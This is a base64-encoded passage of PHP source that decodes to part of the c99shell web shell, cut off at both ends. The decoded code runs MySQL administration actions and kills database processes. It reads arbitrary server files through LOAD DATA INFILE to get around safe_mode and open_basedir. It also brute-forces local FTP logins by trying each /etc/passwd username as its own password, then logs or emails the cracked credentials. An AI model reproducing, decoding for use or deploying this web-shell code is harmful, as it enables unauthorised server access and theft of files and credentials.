ZXh0IiBuYW1lPSJzcWxfZ2V0ZmlsZSIgc2l6ZT0iMzAiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxz
cGVjaWFsY2hhcnMoJHNxbF9nZXRmaWxlKTsgPz4iPiZuYnNwOzxpbnB1dCB0eXBlPSJzdWJtaXQi
IHZhbHVlPSJHZXQiPjwvZm9ybT48L3RkPjx0ZCB3aWR0aD0iMzAlIiBoZWlnaHQ9IjEiPjwvdGQ+
PC90cj48dHI+PHRkIHdpZHRoPSIzMCUiIGhlaWdodD0iMSI+PC90ZD48dGQgd2lkdGg9IjMwJSIg
aGVpZ2h0PSIxIj48L3RkPjx0ZCB3aWR0aD0iMzAlIiBoZWlnaHQ9IjEiPjwvdGQ+PC90cj48L3Rh
YmxlPjw/cGhwDQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGlmICghZW1wdHko
JHNxbF9hY3QpKQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgZWNobyAi
PGhyIHNpemU9XCIxXCIgbm9zaGFkZT4iOw0KICAgICAgICAgICAgICAgICAgICBpZiAoJHNxbF9h
Y3QgPT0gIm5ld2RiIikNCiAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAg
ICAgICAgZWNobyAiPGI+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgobXlzcWxfY3Jl
YXRlX2RiKCRzcWxfbmV3ZGIpKSBhbmQgKCFlbXB0eSgkc3FsX25ld2RiKSkpDQogICAgICAgICAg
ICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiREIgXCIi
IC4gaHRtbHNwZWNpYWxjaGFycygkc3FsX25ld2RiKSAuICJcIiBoYXMgYmVlbiBjcmVhdGVkIHdp
dGggc3VjY2VzcyE8L2I+PGJyPiI7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAg
ICAgICAgICAgICAgICAgICBlbHNlDQogICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgZWNobyAiQ2FuJ3QgY3JlYXRlIERCIFwiIiAuIGh0bWxzcGVj
aWFsY2hhcnMoJHNxbF9uZXdkYikgLiAiXCIuPGJyPlJlYXNvbjo8L2I+ICIgLiBteXNxbF9zbWFy
dGVycm9yKCk7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAg
IH0NCiAgICAgICAgICAgICAgICAgICAgaWYgKCRzcWxfYWN0ID09ICJzZXJ2ZXJzdGF0dXMiKQ0K
ICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAkcmVzdWx0ID0g
bXlzcWxfcXVlcnkoIlNIT1cgU1RBVFVTIiwgJHNxbF9zb2NrKTsNCiAgICAgICAgICAgICAgICAg
ICAgICAgIGVjaG8gIjxjZW50ZXI+PGI+U2VydmVyLXN0YXR1cyB2YXJpYWJsZXM6PC9iPjxicj48
YnI+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxUQUJMRSBjZWxsU3BhY2luZz0w
IGNlbGxQYWRkaW5nPTAgYmdDb2xvcj0jMzMzMzMzIGJvcmRlckNvbG9yTGlnaHQ9IzMzMzMzMyBi
b3JkZXI9MT48dGQ+PGI+TmFtZTwvYj48L3RkPjx0ZD48Yj5WYWx1ZTwvYj48L3RkPjwvdHI+IjsN
CiAgICAgICAgICAgICAgICAgICAgICAgIHdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXko
JHJlc3VsdCwgTVlTUUxfTlVNKSkNCiAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAg
ICAgICAgICAgICAgICAgICAgICBlY2hvICI8dHI+PHRkPiIgLiAkcm93WzBdIC4gIjwvdGQ+PHRk
PiIgLiAkcm93WzFdIC4gIjwvdGQ+PC90cj4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0K
ICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPC90YWJsZT48L2NlbnRlcj4iOw0KICAgICAg
ICAgICAgICAgICAgICAgICAgbXlzcWxfZnJlZV9yZXN1bHQoJHJlc3VsdCk7DQogICAgICAgICAg
ICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgaWYgKCRzcWxfYWN0ID09ICJzZXJ2ZXJ2
YXJzIikNCiAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHJl
c3VsdCA9IG15c3FsX3F1ZXJ5KCJTSE9XIFZBUklBQkxFUyIsICRzcWxfc29jayk7DQogICAgICAg
ICAgICAgICAgICAgICAgICBlY2hvICI8Y2VudGVyPjxiPlNlcnZlciB2YXJpYWJsZXM6PC9iPjxi
cj48YnI+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxUQUJMRSBjZWxsU3BhY2lu
Zz0wIGNlbGxQYWRkaW5nPTAgYmdDb2xvcj0jMzMzMzMzIGJvcmRlckNvbG9yTGlnaHQ9IzMzMzMz
MyBib3JkZXI9MT48dGQ+PGI+TmFtZTwvYj48L3RkPjx0ZD48Yj5WYWx1ZTwvYj48L3RkPjwvdHI+
IjsNCiAgICAgICAgICAgICAgICAgICAgICAgIHdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJy
YXkoJHJlc3VsdCwgTVlTUUxfTlVNKSkNCiAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAg
ICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8dHI+PHRkPiIgLiAkcm93WzBdIC4gIjwvdGQ+
PHRkPiIgLiAkcm93WzFdIC4gIjwvdGQ+PC90cj4iOw0KICAgICAgICAgICAgICAgICAgICAgICAg
fQ0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPC90YWJsZT4iOw0KICAgICAgICAgICAg
ICAgICAgICAgICAgbXlzcWxfZnJlZV9yZXN1bHQoJHJlc3VsdCk7DQogICAgICAgICAgICAgICAg
ICAgIH0NCiAgICAgICAgICAgICAgICAgICAgaWYgKCRzcWxfYWN0ID09ICJwcm9jZXNzZXMiKQ0K
ICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoIWVtcHR5
KCRraWxsKSkNCiAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAkcXVlcnkgPSAiS0lMTCAiIC4gJGtpbGwgLiAiOyI7DQogICAgICAgICAgICAgICAg
ICAgICAgICAgICAgJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCRxdWVyeSwgJHNxbF9zb2NrKTsNCiAg
ICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8Yj5LaWxsaW5nIHByb2Nlc3MgIyIgLiAk
a2lsbCAuICIuLi4gb2suIGhlIGlzIGRlYWQsIGFtZW4uPC9iPiI7DQogICAgICAgICAgICAgICAg
ICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAkcmVzdWx0ID0gbXlzcWxfcXVlcnko
IlNIT1cgUFJPQ0VTU0xJU1QiLCAkc3FsX3NvY2spOw0KICAgICAgICAgICAgICAgICAgICAgICAg
ZWNobyAiPGNlbnRlcj48Yj5Qcm9jZXNzZXM6PC9iPjxicj48YnI+IjsNCiAgICAgICAgICAgICAg
ICAgICAgICAgIGVjaG8gIjxUQUJMRSBjZWxsU3BhY2luZz0wIGNlbGxQYWRkaW5nPTIgYmdDb2xv
cj0jMzMzMzMzIGJvcmRlckNvbG9yTGlnaHQ9IzMzMzMzMyBib3JkZXI9MT48dGQ+PGI+SUQ8L2I+
PC90ZD48dGQ+PGI+VVNFUjwvYj48L3RkPjx0ZD48Yj5IT1NUPC9iPjwvdGQ+PHRkPjxiPkRCPC9i
PjwvdGQ+PHRkPjxiPkNPTU1BTkQ8L2I+PC90ZD48dGQ+PGI+VElNRTwvYj48L3RkPjx0ZD48Yj5T
VEFURTwvYj48L3RkPjx0ZD48Yj5JTkZPPC9iPjwvdGQ+PHRkPjxiPkFjdGlvbjwvYj48L3RkPjwv
dHI+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgIHdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hf
YXJyYXkoJHJlc3VsdCwgTVlTUUxfTlVNKSkNCiAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAg
ICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8dHI+PHRkPiIgLiAkcm93WzBdIC4gIjwv
dGQ+PHRkPiIgLiAkcm93WzFdIC4gIjwvdGQ+PHRkPiIgLiAkcm93WzJdIC4gIjwvdGQ+PHRkPiIg
LiAkcm93WzNdIC4gIjwvdGQ+PHRkPiIgLiAkcm93WzRdIC4gIjwvdGQ+PHRkPiIgLiAkcm93WzVd
IC4gIjwvdGQ+PHRkPiIgLiAkcm93WzZdIC4gIjwvdGQ+PHRkPiIgLiAkcm93WzddIC4gIjwvdGQ+
PHRkPjxhIGhyZWY9XCIiIC4gJHNxbF9zdXJsIC4gInNxbF9hY3Q9cHJvY2Vzc2VzJmtpbGw9IiAu
ICRyb3dbMF0gLiAiXCI+PHU+S2lsbDwvdT48L2E+PC90ZD48L3RyPiI7DQogICAgICAgICAgICAg
ICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8L3RhYmxlPiI7DQog
ICAgICAgICAgICAgICAgICAgICAgICBteXNxbF9mcmVlX3Jlc3VsdCgkcmVzdWx0KTsNCiAgICAg
ICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICBpZiAoJHNxbF9hY3QgPT0gImdl
dGZpbGUiKQ0KICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAk
dG1wZGIgPSAkc3FsX2xvZ2luIC4gIl90bXBkYiI7DQogICAgICAgICAgICAgICAgICAgICAgICAk
c2VsZWN0ID0gbXlzcWxfc2VsZWN0X2RiKCR0bXBkYik7DQogICAgICAgICAgICAgICAgICAgICAg
ICBpZiAoISRzZWxlY3QpDQogICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAg
ICAgICAgICAgICAgICAgbXlzcWxfY3JlYXRlX2RiKCR0bXBkYik7DQogICAgICAgICAgICAgICAg
ICAgICAgICAgICAgJHNlbGVjdCA9IG15c3FsX3NlbGVjdF9kYigkdG1wZGIpOw0KICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICRjcmVhdGVkID0gISEkc2VsZWN0Ow0KICAgICAgICAgICAgICAg
ICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRzZWxlY3QpDQogICAgICAg
ICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGNyZWF0ZWQg
PSBmYWxzZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBteXNxbF9xdWVyeSgiQ1JFQVRF
IFRBQkxFIGB0bXBfZmlsZWAgKCBgVmlld2luZyB0aGUgZmlsZSBpbiBzYWZlX21vZGUrb3Blbl9i
YXNlZGlyYCBMT05HQkxPQiBOT1QgTlVMTCApOyIpOw0KICAgICAgICAgICAgICAgICAgICAgICAg
ICAgIG15c3FsX3F1ZXJ5KCJMT0FEIERBVEEgSU5GSUxFIFwiIiAuIGFkZHNsYXNoZXMoJHNxbF9n
ZXRmaWxlKSAuICJcIiBJTlRPIFRBQkxFIHRtcF9maWxlIik7DQogICAgICAgICAgICAgICAgICAg
ICAgICAgICAgJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCJTRUxFQ1QgKiBGUk9NIHRtcF9maWxlOyIp
Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICghJHJlc3VsdCkNCiAgICAgICAgICAg
ICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8g
IjxiPkVycm9yIGluIHJlYWRpbmcgZmlsZSAocGVybWlzaW9uIGRlbmllZCkhPC9iPiI7DQogICAg
ICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVs
c2UNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgIGZvciAoJGkgPSAwOyRpIDwgbXlzcWxfbnVtX2ZpZWxkcygkcmVzdWx0KTskaSsr
KQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAkbmFtZSA9IG15c3FsX2ZpZWxkX25hbWUoJHJlc3VsdCwgJGkpOw0K
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICRmID0gIiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdoaWxl
ICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCwgTVlTUUxfQVNTT0MpKQ0KICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAkZiAuPSBqb2luKCJcclxuIiwgJHJvdyk7DQogICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGVtcHR5KCRm
KSkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgZWNobyAiPGI+RmlsZSBcIiIgLiAkc3FsX2dldGZpbGUgLiAiXCIg
ZG9lcyBub3QgZXhpc3RzIG9yIGVtcHR5ITwvYj48YnI+IjsNCiAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlDQogICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgIGVjaG8gIjxiPkZpbGUgXCIiIC4gJHNxbF9nZXRmaWxlIC4gIlwiOjwvYj48YnI+
IiAuIG5sMmJyKGh0bWxzcGVjaWFsY2hhcnMoJGYpKSAuICI8YnI+IjsNCiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBteXNx
bF9mcmVlX3Jlc3VsdCgkcmVzdWx0KTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
bXlzcWxfcXVlcnkoIkRST1AgVEFCTEUgdG1wX2ZpbGU7Iik7DQogICAgICAgICAgICAgICAgICAg
ICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAg
ICAgICAgbXlzcWxfZHJvcF9kYigkdG1wZGIpOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAg
ICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gIjwv
dGQ+PC90cj48L3RhYmxlPiI7DQogICAgICAgIGlmICgkc3FsX3NvY2spDQogICAgICAgIHsNCiAg
ICAgICAgICAgICRhZmZlY3RlZCA9IEBteXNxbF9hZmZlY3RlZF9yb3dzKCRzcWxfc29jayk7DQog
ICAgICAgICAgICBpZiAoKCFpc19udW1lcmljKCRhZmZlY3RlZCkpIG9yICgkYWZmZWN0ZWQgPCAw
KSkNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAkYWZmZWN0ZWQgPSAwOw0KICAgICAg
ICAgICAgfQ0KICAgICAgICAgICAgZWNobyAiPHRyPjx0ZD48Y2VudGVyPjxiPkFmZmVjdGVkIHJv
d3M6ICIgLiAkYWZmZWN0ZWQgLiAiPC9jZW50ZXI+PC90ZD48L3RyPiI7DQogICAgICAgIH0NCiAg
ICAgICAgZWNobyAiPC90YWJsZT4iOw0KICAgIH0NCiAgICBpZiAoJGFjdCA9PSAibWtkaXIiKQ0K
ICAgIHsNCiAgICAgICAgaWYgKCRta2RpciAhPSAkZCkNCiAgICAgICAgew0KICAgICAgICAgICAg
aWYgKGZpbGVfZXhpc3RzKCRta2RpcikpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAg
ZWNobyAiPGI+TWFrZSBEaXIgXCIiIC4gaHRtbHNwZWNpYWxjaGFycygkbWtkaXIpIC4gIlwiPC9i
Pjogb2JqZWN0IGFscmVkeSBleGlzdHMiOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgZWxz
ZWlmICghbWtkaXIoJG1rZGlyKSkNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICBlY2hv
ICI8Yj5NYWtlIERpciBcIiIgLiBodG1sc3BlY2lhbGNoYXJzKCRta2RpcikgLiAiXCI8L2I+OiBh
Y2Nlc3MgZGVuaWVkIjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGVjaG8gIjxicj48YnI+
IjsNCiAgICAgICAgfQ0KICAgICAgICAkYWN0ID0gJGRzcGFjdCA9ICJscyI7DQogICAgfQ0KICAg
IGlmICgkYWN0ID09ICJmdHBxdWlja2JydXRlIikNCiAgICB7DQogICAgICAgIGVjaG8gIjxiPkZ0
cCBRdWljayBicnV0ZTo8L2I+PGJyPiI7DQogICAgICAgIGlmICghd2luKQ0KICAgICAgICB7DQog
ICAgICAgICAgICBlY2hvICJUaGlzIGZ1bmN0aW9ucyBub3Qgd29yayBpbiBXaW5kb3dzITxicj48
YnI+IjsNCiAgICAgICAgfQ0KICAgICAgICBlbHNlDQogICAgICAgIHsNCiAgICAgICAgICAgIGZ1
bmN0aW9uIGM5OWZ0cGJydXRlY2hlY2soJGhvc3QsICRwb3J0LCAkdGltZW91dCwgJGxvZ2luLCAk
cGFzcywgJHNoLCAkZnFiX29ubHl3aXRoc2gpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAg
ICAgaWYgKCRmcWJfb25seXdpdGhzaCkNCiAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAg
ICAgICAgICR0cnVlID0gKCFpbl9hcnJheSgkc2gsIGFycmF5KA0KICAgICAgICAgICAgICAgICAg
ICAgICAgIi9iaW4vZmFsc2UiLA0KICAgICAgICAgICAgICAgICAgICAgICAgIi9zYmluL25vbG9n
aW4iDQogICAgICAgICAgICAgICAgICAgICkpKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAg
ICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgJHRy
dWUgPSB0cnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBpZiAoJHRydWUp
DQogICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAkc29jayA9IEBmdHBfY29u
bmVjdCgkaG9zdCwgJHBvcnQsICR0aW1lb3V0KTsNCiAgICAgICAgICAgICAgICAgICAgaWYgKEBm
dHBfbG9naW4oJHNvY2ssICRsb2dpbiwgJHBhc3MpKQ0KICAgICAgICAgICAgICAgICAgICB7DQog
ICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8YSBocmVmPVwiZnRwOi8vIiAuICRsb2dpbiAu
ICI6IiAuICRwYXNzIC4gIkAiIC4gJGhvc3QgLiAiXCIgdGFyZ2V0PVwiX2JsYW5rXCI+PGI+Q29u
bmVjdGVkIHRvICIgLiAkaG9zdCAuICIgd2l0aCBsb2dpbiBcIiIgLiAkbG9naW4gLiAiXCIgYW5k
IHBhc3N3b3JkIFwiIiAuICRwYXNzIC4gIlwiPC9iPjwvYT4uPGJyPiI7DQogICAgICAgICAgICAg
ICAgICAgICAgICBvYl9mbHVzaCgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIHRy
dWU7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAg
ICB9DQogICAgICAgICAgICBpZiAoIWVtcHR5KCRzdWJtaXQpKQ0KICAgICAgICAgICAgew0KICAg
ICAgICAgICAgICAgIGlmICghaXNfbnVtZXJpYygkZnFiX2xlbmdodCkpDQogICAgICAgICAgICAg
ICAgew0KICAgICAgICAgICAgICAgICAgICAkZnFiX2xlbmdodCA9ICRuaXhwd2RwZXJwYWdlOw0K
ICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkZnAgPSBmb3BlbigiL2V0Yy9wYXNz
d2QiLCAiciIpOw0KICAgICAgICAgICAgICAgIGlmICghJGZwKQ0KICAgICAgICAgICAgICAgIHsN
CiAgICAgICAgICAgICAgICAgICAgZWNobyAiQ2FuJ3QgZ2V0IC9ldGMvcGFzc3dkIGZvciBwYXNz
d29yZC1saXN0LiI7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGVsc2UNCiAg
ICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgIGlmICgkZnFiX2xvZ2dpbmcpDQog
ICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkZnFiX2xv
Z2ZpbGUpDQogICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAg
ICAgICAgJGZxYl9sb2dmcCA9IGZvcGVuKCRmcWJfbG9nZmlsZSwgInciKTsNCiAgICAgICAgICAg
ICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAg
ICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZnFiX2xvZ2ZwID0g
ZmFsc2U7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAg
ICAkZnFiX2xvZyA9ICJGVFAgUXVpY2sgQnJ1dGUgKGNhbGxlZCBjOTlzaGVsbCB2LiAiIC4gJHNo
dmVyIC4gIikgc3RhcnRlZCBhdCAiIC4gZGF0ZSgiZC5tLlkgSDppOnMiKSAuICJcclxuXHJcbiI7
DQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGZxYl9sb2dmaWxlKQ0KICAgICAgICAgICAg
ICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZ3cml0ZSgkZnFiX2xv
Z2ZwLCAkZnFiX2xvZywgc3RybGVuKCRmcWJfbG9nKSk7DQogICAgICAgICAgICAgICAgICAgICAg
ICB9DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgb2JfZmx1c2go
KTsNCiAgICAgICAgICAgICAgICAgICAgJGkgPSAkc3VjY2VzcyA9IDA7DQogICAgICAgICAgICAg
ICAgICAgICRmdHBxdWlja19zdCA9IGdldG1pY3JvdGltZSgpOw0KICAgICAgICAgICAgICAgICAg
ICB3aGlsZSAoIWZlb2YoJGZwKSkNCiAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAg
ICAgICAgICAgICAgJHN0ciA9IGV4cGxvZGUoIjoiLCBmZ2V0cygkZnAsIDIwNDgpKTsNCiAgICAg
ICAgICAgICAgICAgICAgICAgIGlmIChjOTlmdHBicnV0ZWNoZWNrKCJsb2NhbGhvc3QiLCAyMSwg
MSwgJHN0clswXSwgJHN0clswXSwgJHN0cls2XSwgJGZxYl9vbmx5d2l0aHNoKSkNCiAgICAgICAg
ICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8Yj5D
b25uZWN0ZWQgdG8gIiAuIGdldGVudigiU0VSVkVSX05BTUUiKSAuICIgd2l0aCBsb2dpbiBcIiIg
LiAkc3RyWzBdIC4gIlwiIGFuZCBwYXNzd29yZCBcIiIgLiAkc3RyWzBdIC4gIlwiPC9iPjxicj4i
Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRmcWJfbG9nIC49ICJDb25uZWN0ZWQgdG8g
IiAuIGdldGVudigiU0VSVkVSX05BTUUiKSAuICIgd2l0aCBsb2dpbiBcIiIgLiAkc3RyWzBdIC4g
IlwiIGFuZCBwYXNzd29yZCBcIiIgLiAkc3RyWzBdIC4gIlwiLCBhdCAiIC4gZGF0ZSgiZC5tLlkg
SDppOnMiKSAuICJcclxuIjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGZxYl9s
b2dmcCkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgIGZzZWVrKCRmcWJfbG9nZnAsIDApOw0KICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICBmd3JpdGUoJGZxYl9sb2dmcCwgJGZxYl9sb2csIHN0cmxlbigkZnFiX2xvZykp
Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAkc3VjY2VzcysrOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIG9iX2ZsdXNoKCk7
DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICBpZiAo
JGkgPiAkZnFiX2xlbmdodCkNCiAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAg
ICAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAg
ICAgICAgICAgICAgICAgICAgICRpKys7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAg
ICAgICAgICAgICAgaWYgKCRzdWNjZXNzID09IDApDQogICAgICAgICAgICAgICAgICAgIHsNCiAg
ICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIk5vIHN1Y2Nlc3MuIGNvbm5lY3Rpb25zISI7DQog
ICAgICAgICAgICAgICAgICAgICAgICAkZnFiX2xvZyAuPSAiTm8gc3VjY2Vzcy4gY29ubmVjdGlv
bnMhXHJcbiI7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgJGZ0
cHF1aWNrX3QgPSByb3VuZChnZXRtaWNyb3RpbWUoKSAtICRmdHBxdWlja19zdCwgNCk7DQogICAg
ICAgICAgICAgICAgICAgIGVjaG8gIjxociBzaXplPVwiMVwiIG5vc2hhZGU+PGI+RG9uZSE8L2I+
PGJyPlRvdGFsIHRpbWUgKHNlY3MuKTogIiAuICRmdHBxdWlja190IC4gIjxicj5Ub3RhbCBjb25u
ZWN0aW9uczogIiAuICRpIC4gIjxicj5TdWNjZXNzLjogPGZvbnQgY29sb3I9Z3JlZW4+PGI+IiAu
ICRzdWNjZXNzIC4gIjwvYj48L2ZvbnQ+PGJyPlVuc3VjY2Vzcy46IiAuICgkaSAtICRzdWNjZXNz
KSAuICI8L2I+PGJyPkNvbm5lY3RzIHBlciBzZWNvbmQ6ICIgLiByb3VuZCgkaSAvICRmdHBxdWlj
a190LCAyKSAuICI8YnI+IjsNCiAgICAgICAgICAgICAgICAgICAgJGZxYl9sb2cgLj0gIlxyXG4t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cclxuRG9uZSFcclxuVG90
YWwgdGltZSAoc2Vjcy4pOiAiIC4gJGZ0cHF1aWNrX3QgLiAiXHJcblRvdGFsIGNvbm5lY3Rpb25z
OiAiIC4gJGkgLiAiXHJcblN1Y2Nlc3MuOiAiIC4gJHN1Y2Nlc3MgLiAiXHJcblVuc3VjY2Vzcy46
IiAuICgkaSAtICRzdWNjZXNzKSAuICJcclxuQ29ubmVjdHMgcGVyIHNlY29uZDogIiAuIHJvdW5k
KCRpIC8gJGZ0cHF1aWNrX3QsIDIpIC4gIlxyXG4iOw0KICAgICAgICAgICAgICAgICAgICBpZiAo
JGZxYl9sb2dmcCkNCiAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAg
ICAgZnNlZWsoJGZxYl9sb2dmcCwgMCk7DQogICAgICAgICAgICAgICAgICAgICAgICBmd3JpdGUo
JGZxYl9sb2dmcCwgJGZxYl9sb2csIHN0cmxlbigkZnFiX2xvZykpOw0KICAgICAgICAgICAgICAg
ICAgICB9DQogICAgICAgICAgICAgICAgICAgIGlmICgkZnFiX2xvZ2VtYWlsKQ0KICAgICAgICAg
ICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICBAbWFpbCgkZnFiX2xvZ2VtYWls
LCAiYzk5c2hlbGwgdi4gIiAuICRzaHZlciAuICIgcmVwb3J0IiwgJGZxYl9sb2cpOw0KICAgICAg
ICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIGZjbG9zZSgkZnFiX2xvZ2ZwKTsN
CiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgICAgICBlbHNlDQogICAg
ICAgICAgICB7DQogICAgICAgICAgICAgICAgJGxvZ2ZpbGUgPSAkdG1wZGlyX2xvZ3MgLiAiYzk5
c2hfZnRwcXVpY2ticnV0ZV8iIC4gZGF0ZSgiZC5tLllfSF9pX3MiKSAuICIubG9nIjsNCiAgICAg
ICAgICAgICAgICAkbG9nZmlsZSA9IHN0cl9yZXBsYWNlKCIvLyIsIERJUkVDVE9SWV9TRVBBUkFU
T1IsICRsb2dmaWxlKTsNCiAgICAgICAgICAgICAgICBlY2hvICI8Zm9ybSBhY3Rpb249XCIiIC4g
